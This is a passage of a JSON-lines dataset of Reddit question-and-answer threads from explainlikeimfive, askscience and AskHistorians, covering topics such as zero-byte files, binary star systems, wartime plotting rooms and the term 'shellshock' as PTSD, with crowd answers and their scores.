that could wipe out a thousand enemy troops in a single night. Much of modern warfare is about appeasing the people to a degree where you can keep fighting wars. ", "like anarchistica said: Hamas released 100% of their Israeli prisoners while Israel released only 20% of their Palestinian prisoners. They have 4000 more.", "There is a ton of misinformation.  The reason is very simple.  Human life is sacrosanct.  A Jewish life, for Jews, is the most precious thing on Earth.  This sort of thing has been done time and again throughout our history.  There is a positive mitzvot (commandment, if you will) that we *must* retrieve him.  That the price was *so low* in the end was a blessing.  It is a shame that other soldiers (and, I am sure, Palestinian civilians) have died in the past in efforts to retrieve him by force.\n\nI believe that the only reason a massive prisoner swap wasn't done in the past was internal Israeli politics by largely secular politicians, which is a shame and an embarrassment.  That he spent so long there when this was a means to retrieve him is awful, IMO.", "The Israelis have a leave no Israeli behind policy and they are really well coordinated with eachother and will do anything to save an Israeli hostage.", "They presumably want more Israeli soldiers to be captured and ransomed, which is why they're incentivising the behaviour with success.  Why they want that requires speculation, but my first guess is that they want an excuse to keep fighting, and kidnapped soldiers make a great excuse.", "Because they know that they will just capture the really bad ones again and the not-so-bad ones aren't a problem. Besides, Palestine is a surrounded territory with lots of security on the border. It's kinda like a large prison anyway. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2ms1x6", "title": "how can a file that is 0 bytes can be stored when technically it shouldn't exist because it contains no data?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ms1x6/eli5how_can_a_file_that_is_0_bytes_can_be_stored/", "answers": {"a_id": ["cm70tsf", "cm71aln", "cm7223v", "cm7a7vw"], "score": [3, 5, 42, 2], "text": ["some storage is being used to denote its existence, even though the output is telling you it uses nothing.", "A storage medium contains data structures, called a file system, that keeps track of what data exists on the medium, where it's located, physically, how big it is, and then various properties including access permissions and timestamps, at the very least. This data structure takes up space itself. You can have a drive full of zero byte files and the drive can still be full, because the contents of the drive consists entirely of this data structure. Example file systems include Microsoft FAT32 and NTFS, their most popular, Unix (Linux) commonly employs EXT3, EXT4, and BRTFS. CDs use ISO9660. Old floppys used to use FAT16. Each of these file systems have different properties, compromises, and features.\n\nAn analogy would be a card catalog in a library. Each of these different file systems are different card catalog styles, like Dewey Decimal, Library of Congress, Colon, Cutter Expansive, or Harvard... My extreme example where the drive has empty files and is full would be a library that has shelves of dust covers and empty bindings, and all the floor space is occupied by the card catalog cabinets - stacks of cards in piles everywhere...", "Think of it as a filing cabinet.  You open the drawer and you pull out a folder.  The folder has nothing at all in it.  It is a file with no data.  If someone were to ask you how big the file is you would say it had no data.  Even though it has no data, there's still a folder there and it still takes up space in the filing cabinet albeit not nearly as much as the file with a hundred pages in it. ", "Actual 5 year old explanation: Let's say you have a list of all the things in your room. Put something on the list that doesn't exist in your room. There's nothing there, but on your list it exists. \n\nSometimes the file is not actually empty, you might not have permissions to see it, and therefore can not see the file size. A program or IT guy can do this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7esy98", "title": "Book request: Biography of Arthur Wellesley", "selftext": "Hi there, I got asked by a member of family what I would want for Christmas, and being the dork that I am, I am thinking of asking for a biography of Wellesley. What better place to ask that than here? What would be a good biography for me to pick up? \n\nWhat I am looking for in this biography:\n\nI am not really looking for a glorified, almost pornographic, detailing of his greatest military accomplishments down to individual troop movements. If I wanted to find that, I am sure I could pick up any old book on the Napoleonic Wars and the Hundred Days and find that there. I more want to get to understand the life and personality of the man who is only really spoken about for his military accomplishments and brief time at the forefront of British politics. \n\nIf possible, I want it to cover his pre-military life. I would like to get an understanding for Wellesley's personality and how it shifted as he aged, shedding light into how conflict changed him as a person. I would like to know what interests he pursued outside of his careers in the military and politics, and how successful he was at them. His personal relationships with those around him would be valuable, as well as information about how he perceived contemporaries of his era. A book which provides a good, deep dive into any letters and archives from his life would be interesting, as that would shed a lot of light onto the life around him which I was not yet aware of. What made him happy? Which events in his life had a deep personal impact on him? \n\nA book which explores these ideas would be incredibly interesting. Incidentally, is there a historiography of Wellesley that I should be aware of when looking into biographies of him? If so, could you make me aware of it, and if possible, recommend any texts which explore and contrast the differing viewpoints in the area?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7esy98/book_request_biography_of_arthur_wellesley/", "answers": {"a_id": ["dq7a9vc"], "score": [5], "text": ["The best current biography of Wellington is Rory Muir's [two-volume set](_URL_0_) *The Path to Victory, 1769-1814* and *Waterloo and the Fortunes of Peace 1814\u20131852*. Muir is one of the foremost scholars of the Napoleonic period today; his *Tactics and the Experience of Battle in the Age of Napoleon* is one of the best books on this topic. Muir also includes a lively bibliographic essay at the end of each volume that describes the various interpretations of the Iron Duke with Muir's rather trenchant observations on them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://yalebooks.yale.edu/book/9780300205480/wellington"]]}
{"q_id": "attcn6", "title": "what happens when an animal in the wild breaks a bone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/attcn6/eli5_what_happens_when_an_animal_in_the_wild/", "answers": {"a_id": ["eh3bn5s", "eh3c2e7", "eh3flhj", "eh3rnt7", "eh3zp3o", "eh41zmw", "eh42chk"], "score": [108, 68, 10, 28, 6, 3, 5], "text": ["They typically die from infection, or an inability to protect themselves from predators due to their lack of speed or strength. ", "I think most people don't realize how big of an \"OOF\" breaking a bone actually is since we can treat it with modern medicine now. Breaking your fundament of your body structure is just not supposed to happen in nature. Breaking a bone  in the wild without the support of modern medicine is almost always a death sentence. Mother nature is brutal. I'm sorry but it do be like that.", "A \"finger\"?  The animal will limp for a while but be able to compensate.  A major limb?  They die, as they are now prey, or can't continue the hunt, and they are abandoned by the tribe, and left to expire.  A deer with a broken limb likely won't live to see a new moon.  A deer with a chip out of it's hoof will likely survive.", "what doesn't happen: they don't get an x-ray, cast, screws / plates, physical therapy, time off, invisibility from predators.  \n\nwhat does happen: they generally die from infection, predation, starvation.", "Animals that live and work in packs have a much higher chance of surviving. Flip side: animals that live and work in packs have the possibility of being abandoned or even killed by the pack. No guarantees.", "In the wild, there is no health care. In the wild, health care is, \u201cOw, I hurt my leg. I can\u2019t run. A lion eats me and I\u2019m dead.\u201d\n\nWell, I\u2019m not dead. I\u2019m the lion. You\u2019re dead.", "One of three things:\n\n1) death from shock/infection\n\n2) death from predator\n\n3) death from starvation\n\nIn today's world as a human being or the pet of one (unless it's a horse), we don't think of a break as something that is serious or life-threatening. But in the wild, it's pretty much a guaranteed death sentence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "jy737", "title": "If our solar system had binary stars, how would our night/day and seasonal cycles on earth differ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jy737/if_our_solar_system_had_binary_stars_how_would/", "answers": {"a_id": ["c2g2civ", "c2g2cvh", "c2g2tm1", "c2g2civ", "c2g2cvh", "c2g2tm1"], "score": [3, 7, 7, 3, 7, 7], "text": ["It really depends where the stars were. If the planet's orbit was still around the two suns, and they were both in the orbital plane, then not much would change. The day would be a little longer (because the two sunrises/sunsets would not be at exactly the same time), and the day would be hotter (assuming both suns were as strong as ours). The Earth would orbit the barycenter of the solar system, which would approximately be the center of mass of the two stars.\n\nOTOH, if we had a more exotic orbit, i.e., between two stars, things would be much more different. In that situation, it would be light for most of the day and super hot. However, I think that such an orbit would be unlikely, due to the higher probability of colliding with one of the two stars eventually.", "There are too many variables to be specific. It depends upon the configuration: close binary with planets around both stars, distant binaries with planets around each star, etc. The first evidence that [planets could form in binary systems](_URL_0_) was reported about 5 years ago.", "Less than you might think.\n\nMost stable orbital configurations require:\n\n* two close stars and a distant planet, or\n* two distant stars and a planet close to one\n\nIn the first case, they stars remain close together in the sky...you get a slight longer days and shorter nights, but are still similar to earth.\n\nIn the second case, you get a real bright point of light, more than a start, but less than a sun.  For example, if the sun had a twin at Neptune's orbit, it would be 50,000x brighter than our full moon, but still only 0.1% of the sun's output.  You could see and even read by it at night, but it wouldn't be enough for warmth or serious photosynthesis.\n\nNeither would have much impact on seasons compared to axial tilt or orbital eccentricity.  ", "It really depends where the stars were. If the planet's orbit was still around the two suns, and they were both in the orbital plane, then not much would change. The day would be a little longer (because the two sunrises/sunsets would not be at exactly the same time), and the day would be hotter (assuming both suns were as strong as ours). The Earth would orbit the barycenter of the solar system, which would approximately be the center of mass of the two stars.\n\nOTOH, if we had a more exotic orbit, i.e., between two stars, things would be much more different. In that situation, it would be light for most of the day and super hot. However, I think that such an orbit would be unlikely, due to the higher probability of colliding with one of the two stars eventually.", "There are too many variables to be specific. It depends upon the configuration: close binary with planets around both stars, distant binaries with planets around each star, etc. The first evidence that [planets could form in binary systems](_URL_0_) was reported about 5 years ago.", "Less than you might think.\n\nMost stable orbital configurations require:\n\n* two close stars and a distant planet, or\n* two distant stars and a planet close to one\n\nIn the first case, they stars remain close together in the sky...you get a slight longer days and shorter nights, but are still similar to earth.\n\nIn the second case, you get a real bright point of light, more than a start, but less than a sun.  For example, if the sun had a twin at Neptune's orbit, it would be 50,000x brighter than our full moon, but still only 0.1% of the sun's output.  You could see and even read by it at night, but it wouldn't be enough for warmth or serious photosynthesis.\n\nNeither would have much impact on seasons compared to axial tilt or orbital eccentricity.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://news.bbc.co.uk/2/hi/science/nature/6506081.stm"], [], [], ["http://news.bbc.co.uk/2/hi/science/nature/6506081.stm"], []]}
{"q_id": "6mqr41", "title": "what does it mean when people describe meat as \"gamey\"", "selftext": "I've been watching a lot of hunting videos lately and they sometimes describe the meat as too gamey and i have no idea what they mean by it. Does it just mean a really strong taste?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mqr41/eli5_what_does_it_mean_when_people_describe_meat/", "answers": {"a_id": ["dk3mqyb", "dk3muhb", "dk3w6nm"], "score": [2, 9, 22], "text": ["I'll say it taste like that animal would smell in the wild. Take the alive Animal and smell and lick it. It's not that bad once cooked but some are worst then others.", "Yea, it's a distinct taste depending on the particular animal, usually stronger in meat harvested from males of the species. It basically tastes how that particular animal smells and seems to be hormone/pheromone related as it becomes stronger when the animals are killed during their \"rut\" or mating season.", "This thread is literally the only time I've ever seen hormones mentioned as a source of the flavor. It has to do with the diet of the animal being far more varied in wild animals (you are what you eat).  Wild animals eat a ton of random roughage, berries, roots and plants while domesticated animals eat mostly corn and silage.  There are other threads you can search for on eli5 which corroborate this. Here's a quote from the University of Michigan\n\n >  Venison refers to the meat of antlered animals such as deer, moose, elk and caribou. The 'wild' flavor of venison is directly related to what the animal eats. Corn fed deer will have a milder flavor than those that eat acorns or sage. The 'gamey' flavor is more noticeable in the fat. Removing the fat, connective tissue, silver skin, bone and hair during processing lessens the 'gamey' taste. However, undesirable strong flavors are due to inadequate bleeding, delay in field dressing or failure to cool the carcass promptly\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.extension.umn.edu/food/food-safety/preserving/meat-fish/gamey-flavor-and-cooking-venison/"]]}
{"q_id": "4qk90y", "title": "DRACO (a potential cure for most viruses) will it really work?", "selftext": "Do yo guys have any interesting thoughts? I did my research and even read the AMA that was done 8 months ago. I understand that funding is the biggest problem but why wouldn't any multi-millionaire or billionaire try to fund him? not even one?!? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4qk90y/draco_a_potential_cure_for_most_viruses_will_it/", "answers": {"a_id": ["d4tos89", "d4tui4d"], "score": [14, 6], "text": ["Funding is straightforward. This requires lots of funding. It's novel research, unproven, it may not generate any clinically useful medicines. Success in the lab and in a mouse model far from guarantees clinical success. Also it looks to me like Rider wants to retain control over his work and attract funding. And lastly, as you would have seen in his AMA, there are many practical hurdles yet to be overcome.", "In one of my grad school classes we had a relatively long discussion about DRACO research. We came to the consensus that it's sketchy research. There are very few studies based on it. What published research there is had sketchy experimental design. It's too experimental to be funded and required further studies. There are concerns about efficacy and safety. Also the media caught on to it very early and played it off as a \"magic bullet.\" "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aqlryk", "title": "In chemistry can the shape of a beaker affect reactions?", "selftext": "For example; I want to make sodium metal and I use a typical beaker and I get x amount of sodium from the reaction, but the next time I do the same reaction I use a completely different shaped beaker would I get a different on average amount of sodium? Could there be an optimal shape for any one specific reaction?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aqlryk/in_chemistry_can_the_shape_of_a_beaker_affect/", "answers": {"a_id": ["eggys3v", "egh5emq", "egh5jo2", "eghf5nt", "egi6d64"], "score": [16, 8, 4, 4, 2], "text": ["I don\u2019t think it would generally affect the reaction itself, but some vessels are just simply more ergonomically favorable. For example, you wouldn\u2019t want to do a recrystallization in a round bottom flask because it makes it hard to transfer out the crystals prior to filtration. So there are definitely beakers and vessels that are a better fit for certain reactions and this will affect the yield according to how easy or hard it is to transfer materials using that piece of equipment. \n\nEdit: this is in relation to simple glassware you might find in highschool or college labs. I am not at all familiar with highly specialized equipment! ", "Mixing can be an issue. If your vessel shape is such that you can't get good mixing in your reaction (there are \"dead spots\" or clumping of precipitates etc.) your yield will be affected, as local concentrations and temperatures change, side-reactions take place, etc.\n\nAnother (rarer) issue is when the shape of the vessel is such that it can't be thoroughly cleaned, and contaminants left over from one reaction go on to affect the next reaction performed in that vessel. \n\nOn a related note, if you are contemplating playing with metallic sodium, I hope you are well trained in its use and have the proper PPE and safety equipment. Horrible things can happen when people handle reactive metals improperly.", "Different beaker shapes may have different heat transfer characteristics, which could potentially affect the reaction (of course, some reactions would be affected more than others).", "Mixing can be an issue, and if it gets bad enough then it can become a limiting factor in your reaction rate, at which point it will affect a reaction.\n\nIn addition a long reaction can also be affected by how much of the solution is in contact with air or, in a closed system, how much \"headspace\" is above the solution.", "Yes. The main way shape can have an effect is at phase boundaries. Several reactions involve interactions between separate phases. This could be liquid and solid, liquid and gas, two liquid phases, etc. Imagine a reaction where a liquid reacts with the surface of a solid. In this case, the shape of the container can have a big effect. A wide container will need more liquid to reach the same height as a skinny one, and more liquid means you need more solvent, more reagent, and more stirring.\n\nThis is just one example, and there may be more. An important caveat here is that individual molecules that aren't at the container walls don't really \"know\" they are being contained and as such don't really behave any differently based on the shape of the container. The practical effects of container shape are due to aggregations of small differences in what happens along the edges of the geometry of a phase. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "iyg8h", "title": "Askscience AMA series: I am an astrophysicist specialising in galaxy formation and evolution", "selftext": "Hey there, denizens of /r/askscience. \n\nI am an astrophysicist who researches all things galaxy-related. I particularly study the formation and evolution of very distant (high-redshift) galaxies. \n\nAsk me anything! \n\nEDIT... 12:00 am GMT, and I'm going to sleep now! Will be back answering the rest of the questions (and any that appear overnight) tomorrow :) \n\nEDIT 2... back again, will be getting round to answering everything that I can over the next few hours. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/iyg8h/askscience_ama_series_i_am_an_astrophysicist/", "answers": {"a_id": ["c27nfzm", "c27ngw5", "c27nhzx", "c27ni27", "c27nibd", "c27nkk0", "c27nl4a", "c27nln8", "c27nn5b", "c27nnut", "c27nnxd", "c27noja", "c27nt2d", "c27nuh7", "c27nyap", "c27o3ey", "c27od7n", "c27oe0s", "c27oin8", "c27ok95", "c27osza", "c27otyg", "c27ozm3", "c27p6o4", "c27p8jx", "c27pdgz", "c27phum", "c27ps7n", "c27pvz5", "c27quoz", "c27rjqi", "c27s4t7"], "score": [19, 4, 27, 2, 2, 12, 3, 5, 12, 6, 23, 28, 2, 3, 2, 3, 2, 8, 5, 3, 2, 2, 2, 2, 10, 3, 2, 2, 3, 2, 2, 2], "text": ["What is your average day like?", "If you were to travel sufficiently far through the universe, do you believe that you would find another instance of the life that is before you?  On that same note, do you believe you would find another instance of your life, but with a minor fluctuation?", "What is the ultimate fate of a galaxy? Do astronomers have examples of galaxies that are close to the end of their life cycles?", "I worked on a final project this spring quarter on Quasars...\nI don't frequent ArViv or w/e the astr journals are but has there been any recent discoveries relating to QSOs in general? \n\nMy last slide detailed about two satellites, one that is up I think and one that is suppose to launch in 2013 with decent chunks of time dedicated to quasars...forgot about what they were called...but that's my current knowledge.", "Is galaxies still being formed, or is all matter out there already part of existing galaxies?", "Hey, so am I! :)", "What software/programming languages do you use for work? Do you also run simulations? Thanks you.", "Do you consider yourself a theorist or an observationalist?\n\nDo you run N-body simulations or any other type of simulation?", "About how long ago do you think an earth like planet could have formed?  Preferably an earth like planet with a lifetime of at least five billion years.\n\nI assume it would have to be after the first generation of stars cooked up some of the heavier elements.\n\nI'm curious because the window between the beginning of the universe and abiogenesis on earth actually seems kinda small, maybe we are the oldest guys around.", "Which parts of your work do you consider most interesting?", "I want to be everything you are. Just wanted to come in and say that.", "What do you consider the most important breakthroughs/discoveries in your field of the last ~25 years?", "As someone interested in astrophysics as a future career can you tell me what element of math and science you use the most?", "A few personal and then some science questions:\n\nI am a physics undergrad who is fascinated by all things cosmology. The problem is I am barely scrapping by in my math classes and electronics courses. I am taking a year off to think things over, and I am leaning toward switching to mechanical engineering. I would like to ask you about any doubts you had toward getting your degree, steps along the way that cemented your confidence in your career path. Being an astrophysicist almost feels like a little kid saying \"I want to be an astronaut!\", and now that it is within reach I can't understand what a science career would actually be like.\n\nAlso, what problems arise when observing extremely red-shifted galaxies? Do most highly red-shifted galaxies contain quasars? Are there any that don't, but should?", "What is the most interesting thing in your field that is still unexplained?", "Have you ever volunteered any time at [Galaxy Zoo] (_URL_0_)?\n\nEdit: I give up on formatting.", "Is studying galaxies like studying photograph snapshots because everything happens slowly? Or are there events observable in real time, changing every time you look at it through a telescope?", "Are there any books pertaining to your field that you can recommend to someone who isn't a genius?", "What was your education path and how did you land the job you have now? Any tips for a Physics undergrad like me?", "Could you explain in layman's terms how it is that galaxies' spiral arms can be at all stable? I've never understood this, given that everything ought to orbit faster (in angular momentum terms) closer to the core - why don't the arms break up? ", "Heey! I am working towards a Ph.D. degree in condensed matter physics but don't know much about large scale astrophysics and cosmology. What do you think can be a great overview-introduction to established results in your field for a chap like me (with some background in general physics)?\n\nGreat Ama!", "How often do you travel (as part of your job) and where to?", "If you could measure parallax with arbitrary precision, would it show that a very high redshift galaxy is (let's say) 40 billion lightyears away?\n\nWhy do astronomers use cgs units? They're dealing with such large quantities; it seems silly to use tiny units. Also, what's the deal with parsecs for things that are way too far to measure with paralax.", "Do you use AIPS? As in for analysing VLA data and such? If so, enjoy this:\n\n_URL_0_", "I have an exceptionally gifted 12 year old daughter.  We took a trip a bit ago to an observatory.  It was a closed function, so we got to spend a lot of time on the telescopes, of which I know nothing about.  She took one look in the scope of a two story telescope, and said, \"This is what I want to do.\" I see further down in the thread where you give a bit of advice on academics (thank you), but what I'd like to know is a bit more basic.  What would you consider to be a good starter telescope for her?  Maybe a step up from a walmart one, which we are currently enjoying.  Thank you!", "Wow, thank you so very much for this AMA, it's so cool!\n\nHi! I'm Dizzysparrow (in lieu of my real name), and I'll be a PhD student in a couple of months in your research area it seems. In fact it could be exactly the same work unless there's a massive change in the project (multiwavelength, high-z), so seeing your title was a bit freaky. I thought I should introduce myself as best as I can within reddit rules now as I might bump into you one day IRL if I'm lucky. You never know!\n\n**Qu:** What datasets are you using for your current research and looking to use in the future? How much is time you've applied for yourself, compared to publicly available catalogues? \n\nThanks again for the AMA!", "I'd just like to thank you for making this AMA. I really learned a lot and found out some interesting information I didn't know beforehand.", "You are given 5 minutes in front of the US congress to argue for saving JWST. What do you say?", "How do we reconcile the fact that early-type galaxies seem to have formed their stars first with our understanding of galaxy formation as a hierarchical process?", "With strange aeons, may even death die?", "Have you done LSD? If so, what are your thoughts about it?", "How do you resist the constant temptation to throttle Creationists?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.galaxyzoo.org"], [], [], [], [], [], [], [], ["http://www.star.bris.ac.uk/mark/AIPS.html"], [], [], [], [], [], [], [], []]}
{"q_id": "4ecg5g", "title": "shellshock", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ecg5g/eli5_shellshock/", "answers": {"a_id": ["d1yvdt2", "d1yxws2"], "score": [4, 2], "text": ["\"Shellshock\" is a slang term for the condition now understood as Post-traumatic Stress Disorder or PTSD.  It was used to refer to the issues that soldiers faced as they returned home from WWI.  ", "When people go through intense traumatic events they end up permanently affected by that event. People that have gone through trauma usually are triggered by a specific thing that causes them to react in a bad way (different for each person). In war these traumatic things could be loud explosions, dying comrades, etc... So when they come back from the war, loud noises that resemble explosions or gunshots can trigger them. Shellshock is the slang they used because soldiers usually act bizarre after they have been near explosions (shells). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "zyafb", "title": "Would a massive object, moving near the speed of light, create a \"wake\" of effects behind it?", "selftext": "If an object with a great amount of mass were to zip past our solar system at nearly the speed of light, what would it's effect be?\n\nWould it's brief gravitational presence affect our solar system in a notable way? Would it's effect be made-less by the fact it is only around for a brief moment? Is gravity the only concern to have, or would space \"ripple\" behind it causing further problems?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zyafb/would_a_massive_object_moving_near_the_speed_of/", "answers": {"a_id": ["c68ud4f", "c68w414", "c68wwz7"], "score": [4, 30, 3], "text": ["I often wondered this myself (I'm a physics major but i don't have any further credentials) the best i have determined is that since the heavy object is moving near the speed of light its mass has increased and it therefore has a powerful gravitational field which could be felt by near by objects but it does not leave any kind of trail or wake remember motion is relative so unlike a ship at sea which cuts through water an object traveling near the speed of light obeys the same laws of physics as a stationary object. (velocity cannot be proven accept relative to different objects) so it would do nothing special it would have a very large mass that would undoubtedly disrupt the planets orbits (i have a moderately accurate gravity simulator and put a very large mass at a high speed through a simulation of our solar system and it defiantly screws stuff up) other than that i cant see it rippling the effect (as far as i can judge) \n\nIf you were to measure its gravity as it passed from say right to left you would feel a increasing force pulling from the right getting stronger as it pulls towards the middle and diminishing force to the left as it passes. \n\neven though the object is traveling nearly the speed of light the speed at which gravity propagates is the speed of light so it will always be slower. \n\nThere can be gravity ripples in other systems but it requires a two bodies orbiting each other  _URL_0_\n\nmaybe if you had a pair of large orbiting objects traveling at the speed of light it would cause so ripple effects but i have no idea how that would work (maybe pulsing high, 'slightly less high' gravity effects propagating from the moving objects?) that's as good an answer as i can give.\n\n[edit English I'm dyslexic so sorry if spelling are screwed up]", "General relativity is very complicated.  That is no understatement.  Even if you specified exactly the parameters you mean here, like the exact rest mass of the object whizzing by our solar system, it's speed, and an initial trajectory at some time t, solving einsteins equations would still probably be impossible.  \n\nGravitation couples to itself, and by this I mean the effects of such an event in turn affect themselves.  There could absolutely be a slew of latent affects of such an event  - long after the massive projectile is long gone - due to its momentary gravitational influence.  \n\nI will point out that it is not often useful to think of a fast moving object as being more massive - and not useful here if we want to imagine this situation with our usual notions of gravitation.  In such extreme relativistic situations, the energy density and momentum are relevant quantities to consider.\n\nIn such extreme examples, the affects of GR can be alarming and very unintuitive.  There is a notion of pressure in GR that can cause bodies to repel one another in certain circumstances.  That is not to say that gravity as we know it is repulsive, but is a recognition that gravitation is a result of the greater phenomenon that is the metric responding to energy and momentum.\n\nA massive object moving at a relativistic speed by itself does NOT \"appear\" *gravitationally* heavier as others have pointed out.  However, if it is massive and moving quickly, it may induce accelerations in the massive bodies in our solar system.  Acceleration does transform the metric and imply curvature - another example of gravity coupling with itself.\n\nRipples indeed.\n\nIt is cosmologically extremely unlikely that anything very massive and fast moving would approach our system.  Massive and fast moving things are almost guaranteed to be very far away, and stay far away.\n\n", "XKCD has a nice post on this.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Gravitational_wave"], [], ["http://what-if.xkcd.com/1/"]]}
{"q_id": "1dgdhc", "title": "what does a social democracy look like economically and politically?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1dgdhc/eli5_what_does_a_social_democracy_look_like/", "answers": {"a_id": ["c9q9gjl"], "score": [2], "text": ["There is no unified vision of a Social Democracy. But using the \"Nordic Model\" (Applicable for Denmark, Iceland, Norway Sweden and Finland) I can give a stab at an answer:\n\nUsually there will be a relatively large state, which in addition to managing such businesses as armies and police forces (which pretty much all nationstates do) will also manage businesses such as education and healthcare. This referred to as a welfare state. \n\nTaxation will usually be relatively high compared to other nations, as managing the extra services are not free. Taxation is usually progressive and income tax can get as high as 70%. \n\nA declared goal of the welfare state is to promote (upwards) social mobility. Which means that its people have the possibility to get educated and not be bankrupted by illness regardless of their background.  \n\nPolitically there will usually always be a struggle or debate internally between several political factions about what excatly the limits of the welfare state should be, and perhaps even a few voices in favor of its abolition, but these will usually be a very small minority.\n\nGenerally more liberalist (in the european sense) parties will often bring up that a lot of services managed by the state could be favorably privatized, and the opposition will usually point out that this might be a bad idea for any number of reasons depending on the case in question. \n\nThats a stab at an answer, hope it clarifies things a bit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bzeqx", "title": "Giant military maps", "selftext": "This is a film-and-tv-related question: in popular depictions of various wars and conflicts (altough usually WWII), you often see giant \"war room\" maps, with models or other markers representing different military units, being moved around by people with long poles.\n\nMy question is: Did anything like this ever actually get used (during WWII or otherwise)?  And also, what would you *call* it - both the map itself and the model units that are moved around on it.\n\nThanks in advance!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bzeqx/giant_military_maps/", "answers": {"a_id": ["c9bjfo2", "c9bmi9p"], "score": [4, 2], "text": ["*One* famous plotting table is preserved in an underground operations room at RAF Uxbridge, used by No. 11 Group Fighter Command. Now known as the [Battle of Britain Bunker](_URL_0_), it houses the [restored operations room](_URL_1_).   \n  \nLess impressive, unbelievably cramped, and (arguably) more important is the [Cabinet War Rooms](_URL_2_), a historic underground complex that housed a British government command centre throughout the Second World War. Here's an [old black and white photo](_URL_4_) complete with raffish chaps smoking pipes, noses to wall maps.   \nContrast that with a contemporary [colour photo](_URL_3_) of the refitted rooms populated with wax dummies as part of Churchill War Rooms exhibit.  \n  \nAs an aside it's my understanding the nomenclature in use was \"command centre\" / \"operations room\" and that the phrase \"War Room\" actually first dates to its use in the film *Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb* (1964).  \n >  No Fighting in the War Room!  \n", "In German it's called \"Kartentisch\" or \"Sandkasten\" if it's the 3D-Version:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Battle_of_Britain_Bunker", "http://upload.wikimedia.org/wikipedia/en/b/bf/Plotting_Table.jpg", "http://en.wikipedia.org/wiki/Churchill_War_Rooms", "http://upload.wikimedia.org/wikipedia/commons/b/ba/MapRoomCabinetWarRoomsTrim.jpg", "http://www.iwm.org.uk/sites/default/files/images/visbrowse/1280_MH_027688.jpg"], ["http://upload.wikimedia.org/wikipedia/commons/thumb/5/5d/German_Juno-Beach_Model.jpg/755px-German_Juno-Beach_Model.jpg"]]}
{"q_id": "3wau67", "title": "what exactly do finance departments at large companies do?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wau67/eli5_what_exactly_do_finance_departments_at_large/", "answers": {"a_id": ["cxur8lv", "cxv3jy8", "cxv8ykg"], "score": [2, 2, 2], "text": ["On the topic of integrity, think about bribes. How can a finance department detect and determine inappropriate use of funds? \n\nI'm not going to do your homework, but you can search about cases or corporate bribes and how they were finally discovered. Maybe somewhere you will see a case of that new finance guy seeing 30k going to the same place every quarter with no explanation... ", "In my company, one office handles most of the bills for about a dozen others. This is beneficial to us because: many offices use the same vendors, so instead of having to cut a dozen checks every month, we all just submit it to finance and they cut one. This also makes my job easier, because I don't have to worry if bills are actually getting paid, as long as I submit them on time I am reasonably confidant that they will get done, this doesn't always happen, but it's more consistent than if I did it myself.\n\nAs to your question, I'd say customer focus comes from not wondering if their money is actually going to what I'm claiming it is. If I'm sending it off to a completely different department, the chances for us all to be dealing fraudulently is rather low. If I was the only hands the money touched, it'd be a lot easier for me to fake the books. This also rings with integrity, as it's much harder for anyone to steal, or whatever, with many people looking it over.", "The company I work for, there are two finance departments. I work in one. We offer financial products to our customers when they are trying to buy our stuff.\n\nThe company model is that the customer must pay upfront for the stuff they want. We offer different options to them i.e. if they want to pay each month or every three months etc. \n\nWe also offer a loan facility or a lease facility. Our company doesn't actually fulfill the loan, lease or payment options (Because we are not a bank) so we put the customer in touch with the bank and we operate that way.\n\nTo answer your question. \n\nA) At the moment we are a global company but we operate finacning products only in about 16 countries. We are expanding to other countries, which involves a lot of work but it is something new and each country has its own nuances. \n\nB) The arguement we have is that we help gain customers who would not otherwise have bought the companies stuff because they do not like paying all upfront. We offer the customer more choice. So we enable sales. \n\nC) This is a strange one I agree. Our other finance department works with our banks to ensure all funding is accurate and correct. In that sense they make sure we get what we are owed and the banks get what they are owed. \n\nHope this helps, if you have questions let me know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
